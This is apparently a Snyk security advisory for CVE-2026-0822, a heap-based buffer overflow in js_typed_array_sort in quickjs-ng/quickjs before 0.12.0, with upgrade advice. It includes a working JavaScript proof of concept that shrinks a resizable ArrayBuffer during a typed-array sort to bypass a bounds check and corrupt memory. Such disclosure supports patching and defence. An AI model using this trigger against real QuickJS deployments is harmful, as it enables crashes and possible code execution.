Heap-based Buffer Overflow Affecting quickjs-ng/quickjs package, versions [0,0.12.0)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.42% (35th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Heap-based Buffer Overflow vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-UNMANAGED-QUICKJSNGQUICKJS-14913786
  • published12 Jan 2026
  • disclosed10 Jan 2026
  • creditUnknown

Introduced: 10 Jan 2026

CVE-2026-0822  (opens in a new tab)
CWE-122  (opens in a new tab)

How to fix?

Upgrade quickjs-ng/quickjs to version 0.12.0 or higher.

Overview

Affected versions of this package are vulnerable to Heap-based Buffer Overflow via the function js_typed_array_sort in the quickjs.c file. An attacker can execute arbitrary code or cause a denial of service by supplying crafted input that triggers a heap-based buffer overflow during the sorting process.

PoC

const trigger = 1734; // determined via trial and error
const sz = 256;
const newSz = 10;
const ab = new ArrayBuffer(sz, { maxByteLength: sz * 10 });
const u8 = new Uint8Array(ab);

// fill with ascending values
for (let i = 0; i < sz; i++) u8[i] = i;
// Make the last element 0 so it moves to front
// We want rqsort to place index 255 at the beginning of array_idx before the resize
// in order to bypass OOB check in js_TA_cmp_generic
/* if (a_idx >= p->u.array.count || b_idx >= p->u.array.count) {
    // OOB case
    psc->exception = 2;
    return 0;
} 
*/
u8[sz - 1] = 0; 

let cnt = 0;
u8.sort((a, b) => {
    cnt++;
    
    if (cnt === trigger) {
        // when this resize happens, array_idx already has index 255 at the beginning
        // so the OOB check in js_TA_cmp_generic is bypassed
        // OOB access happens at this point in js_typed_array_sort
        /*
        case 1:
        for(i = 0; i < len; i++) {
            j = array_idx[i]; // here
            ((uint8_t *)array_ptr)[i] = ((uint8_t *)array_tmp)[j];
        }
        break;
        */
        try { ab.resize(newSz); } catch(e){}
    }
    
    return a - b;
});

CVSS Base Scores

version 4.0
version 3.1